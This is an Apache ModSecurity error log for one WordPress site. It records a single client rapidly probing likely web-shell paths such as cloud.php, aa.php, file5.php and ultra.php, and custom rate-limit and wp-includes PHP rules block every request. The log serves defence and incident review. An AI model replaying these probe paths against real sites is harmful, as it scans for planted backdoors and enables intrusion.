[Mon Dec 01 02:30:02.006838 2025] [:error] [pid 41526:tid 41531] [client 20.37.126.21:44139] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aSyNKl0bjN1zt83-HJ0j1AAAAUA"]
[Mon Dec 01 02:30:02.948429 2025] [:error] [pid 32522:tid 32595] [client 20.37.126.21:44091] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/cloud.php"] [unique_id "aSyNKiY5g6U7AgYu2cLBcQAAANA"]
[Mon Dec 01 02:30:03.624078 2025] [:error] [pid 32520:tid 32525] [client 20.37.126.21:19336] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/cloud.php"] [unique_id "aSyNK_vbCMB_T-u6uxlYBAAAA4A"]
[Mon Dec 01 02:30:04.198696 2025] [:error] [pid 32520:tid 32541] [client 20.37.126.21:44090] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/cloud.php"] [unique_id "aSyNLPvbCMB_T-u6uxlYBgAAA5A"]
[Mon Dec 01 02:30:04.700087 2025] [:error] [pid 32522:tid 32592] [client 20.37.126.21:44159] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/cloud.php"] [unique_id "aSyNLCY5g6U7AgYu2cLBcgAAAM0"]
[Mon Dec 01 02:30:05.135360 2025] [:error] [pid 32520:tid 32533] [client 20.37.126.21:19407] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aSyNLfvbCMB_T-u6uxlYCgAAA4g"]
[Mon Dec 01 02:30:06.889209 2025] [:error] [pid 25124:tid 25160] [client 20.37.126.21:19428] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aSyNLll826mNLYSD9-3QJQAAAEc"]
[Mon Dec 01 02:30:07.159837 2025] [:error] [pid 25124:tid 25154] [client 20.37.126.21:44124] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aSyNL1l826mNLYSD9-3QJgAAAEE"]
[Mon Dec 01 02:30:07.549310 2025] [:error] [pid 32522:tid 32598] [client 20.37.126.21:19364] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aSyNLyY5g6U7AgYu2cLBcwAAANM"]
[Mon Dec 01 02:30:07.879888 2025] [:error] [pid 25124:tid 25172] [client 20.37.126.21:44060] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aSyNL1l826mNLYSD9-3QKQAAAFM"]
[Mon Dec 01 02:30:08.549060 2025] [:error] [pid 32522:tid 32590] [client 20.37.126.21:44082] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aSyNMCY5g6U7AgYu2cLBdAAAAMs"]
[Mon Dec 01 02:30:09.313893 2025] [:error] [pid 25124:tid 25163] [client 20.37.126.21:19453] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aSyNMVl826mNLYSD9-3QKwAAAEo"]
[Mon Dec 01 02:30:09.915035 2025] [:error] [pid 41526:tid 41540] [client 20.37.126.21:44075] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aSyNMV0bjN1zt83-HJ0j3AAAAUk"]
[Mon Dec 01 02:30:10.755705 2025] [:error] [pid 32522:tid 32591] [client 20.37.126.21:44113] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/"] [unique_id "aSyNMiY5g6U7AgYu2cLBdwAAAMw"]
[Mon Dec 01 02:30:11.503221 2025] [:error] [pid 41526:tid 41541] [client 20.37.126.21:44036] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/"] [unique_id "aSyNM10bjN1zt83-HJ0j3wAAAUo"]
[Mon Dec 01 02:30:12.714115 2025] [:error] [pid 32521:tid 32553] [client 20.37.126.21:19413] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/"] [unique_id "aSyNND-OXioBrWvHoPraOAAAAwE"]
[Mon Dec 01 02:30:13.175126 2025] [:error] [pid 22963:tid 22984] [client 20.37.126.21:44108] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/"] [unique_id "aSyNNSgjrTC0kxo5Q-z75gAAAJM"]
[Mon Dec 01 02:30:13.438950 2025] [:error] [pid 32611:tid 32620] [client 20.37.126.21:44121] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aSyNNa_aT7PlMcEPLmkpBAAAAAc"]
[Mon Dec 01 02:30:13.862379 2025] [:error] [pid 22963:tid 22969] [client 20.37.126.21:44070] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aSyNNSgjrTC0kxo5Q-z75wAAAIQ"]
[Mon Dec 01 02:30:14.476271 2025] [:error] [pid 32521:tid 32569] [client 20.37.126.21:19402] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aSyNNj-OXioBrWvHoPraOwAAAxE"]
[Mon Dec 01 02:30:15.419393 2025] [:error] [pid 32520:tid 32535] [client 20.37.126.21:19434] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aSyNN_vbCMB_T-u6uxlYEQAAA4o"]
[Mon Dec 01 02:30:16.265882 2025] [:error] [pid 32521:tid 32555] [client 20.37.126.21:44128] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aSyNOD-OXioBrWvHoPraPgAAAwM"]
[Mon Dec 01 02:30:17.380739 2025] [:error] [pid 41526:tid 41544] [client 20.37.126.21:44087] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aSyNOV0bjN1zt83-HJ0j5wAAAU0"]
[Mon Dec 01 02:30:18.655373 2025] [:error] [pid 22963:tid 22982] [client 20.37.126.21:19422] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aSyNOigjrTC0kxo5Q-z78QAAAJE"]
[Mon Dec 01 02:30:20.109796 2025] [:error] [pid 32611:tid 32636] [client 20.37.126.21:19328] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aSyNPK_aT7PlMcEPLmkpDAAAABc"]
[Mon Dec 01 02:30:20.438080 2025] [:error] [pid 32520:tid 32547] [client 20.37.126.21:19431] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSyNPPvbCMB_T-u6uxlYHAAAA5Y"]
[Mon Dec 01 02:30:20.803719 2025] [:error] [pid 22995:tid 23013] [client 20.37.126.21:19420] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSyNPKhgK6YGad0ApM9erAAAAQ8"]
[Mon Dec 01 02:30:21.153196 2025] [:error] [pid 25124:tid 25175] [client 20.37.126.21:19349] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSyNPVl826mNLYSD9-3QNgAAAFY"]
[Mon Dec 01 02:30:21.641970 2025] [:error] [pid 22995:tid 23021] [client 20.37.126.21:44067] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aSyNPahgK6YGad0ApM9erwAAARc"]
[Mon Dec 01 02:30:22.345762 2025] [:error] [pid 25124:tid 25177] [client 20.37.126.21:44147] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aSyNPll826mNLYSD9-3QOAAAAFg"]
[Mon Dec 01 02:30:22.699461 2025] [:error] [pid 25124:tid 25153] [client 20.37.126.21:44045] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aSyNPll826mNLYSD9-3QOQAAAEA"]
[Mon Dec 01 02:30:23.044995 2025] [:error] [pid 32522:tid 32603] [client 20.37.126.21:44033] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aSyNPyY5g6U7AgYu2cLBggAAANg"]
[Mon Dec 01 02:30:23.325277 2025] [:error] [pid 32520:tid 32533] [client 20.37.126.21:19394] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "aSyNP_vbCMB_T-u6uxlYIwAAA4g"]
[Mon Dec 01 02:30:23.898224 2025] [:error] [pid 32520:tid 32527] [client 20.37.126.21:44035] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/swfupload/"] [unique_id "aSyNP_vbCMB_T-u6uxlYJAAAA4I"]
[Mon Dec 01 02:30:24.687016 2025] [:error] [pid 32611:tid 32613] [client 20.37.126.21:44068] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/swfupload/"] [unique_id "aSyNQK_aT7PlMcEPLmkpDgAAAAA"]
[Mon Dec 01 02:30:25.450232 2025] [:error] [pid 32522:tid 32592] [client 20.37.126.21:19430] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/swfupload/"] [unique_id "aSyNQSY5g6U7AgYu2cLBhAAAAM0"]
[Mon Dec 01 02:30:26.114013 2025] [:error] [pid 32521:tid 32563] [client 20.37.126.21:44088] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/swfupload/"] [unique_id "aSyNQj-OXioBrWvHoPraRwAAAws"]
[Mon Dec 01 02:30:26.855083 2025] [:error] [pid 22963:tid 22968] [client 20.37.126.21:19411] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aSyNQigjrTC0kxo5Q-z79wAAAIM"]
[Mon Dec 01 02:30:27.624417 2025] [:error] [pid 32522:tid 32589] [client 20.37.126.21:44057] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aSyNQyY5g6U7AgYu2cLBhwAAAMo"]
[Mon Dec 01 02:30:28.408199 2025] [:error] [pid 32611:tid 32617] [client 20.37.126.21:19348] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aSyNRK_aT7PlMcEPLmkpFwAAAAQ"]
[Mon Dec 01 02:30:29.532753 2025] [:error] [pid 22963:tid 22978] [client 20.37.126.21:19269] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aSyNRSgjrTC0kxo5Q-z7-AAAAI0"]
[Mon Dec 01 02:30:30.535090 2025] [:error] [pid 22963:tid 22988] [client 20.37.126.21:19424] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/"] [unique_id "aSyNRigjrTC0kxo5Q-z7-QAAAJc"]
[Mon Dec 01 02:30:31.043794 2025] [:error] [pid 41526:tid 41545] [client 20.37.126.21:19446] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/"] [unique_id "aSyNR10bjN1zt83-HJ0j7AAAAU4"]
[Mon Dec 01 02:30:31.724083 2025] [:error] [pid 41526:tid 41550] [client 20.37.126.21:19399] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/"] [unique_id "aSyNR10bjN1zt83-HJ0j7gAAAVM"]
[Mon Dec 01 02:30:32.457686 2025] [:error] [pid 22995:tid 23000] [client 20.37.126.21:19416] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/"] [unique_id "aSyNSKhgK6YGad0ApM9euAAAAQI"]
[Mon Dec 01 02:30:33.056424 2025] [:error] [pid 41526:tid 41548] [client 20.37.126.21:19363] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSyNSV0bjN1zt83-HJ0j8QAAAVE"]
[Mon Dec 01 02:30:33.614338 2025] [:error] [pid 32520:tid 32528] [client 20.37.126.21:19331] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSyNSfvbCMB_T-u6uxlYMQAAA4M"]
[Mon Dec 01 02:30:34.245029 2025] [:error] [pid 32520:tid 32527] [client 20.37.126.21:19437] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSyNSvvbCMB_T-u6uxlYMgAAA4I"]
[Mon Dec 01 02:30:34.532960 2025] [:error] [pid 32520:tid 32543] [client 20.37.126.21:19380] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSyNSvvbCMB_T-u6uxlYNQAAA5I"]
[Mon Dec 01 02:30:35.173689 2025] [:error] [pid 41526:tid 41555] [client 20.37.126.21:44110] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/ultra.php"] [unique_id "aSyNS10bjN1zt83-HJ0j9QAAAVg"]
[Mon Dec 01 02:30:35.757778 2025] [:error] [pid 32520:tid 32538] [client 20.37.126.21:44055] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSyNS_vbCMB_T-u6uxlYOwAAA40"]
[Mon Dec 01 02:30:36.199909 2025] [:error] [pid 32520:tid 32535] [client 20.37.126.21:44073] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSyNTPvbCMB_T-u6uxlYPQAAA4o"]
[Mon Dec 01 02:30:36.653945 2025] [:error] [pid 32520:tid 32526] [client 20.37.126.21:19355] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSyNTPvbCMB_T-u6uxlYQQAAA4E"]
[Mon Dec 01 02:30:37.290740 2025] [:error] [pid 32520:tid 32539] [client 20.37.126.21:44046] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSyNTfvbCMB_T-u6uxlYQwAAA44"]
[Mon Dec 01 02:30:38.841255 2025] [:error] [pid 25124:tid 25173] [client 20.37.126.21:19423] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSyNTll826mNLYSD9-3QRQAAAFQ"]
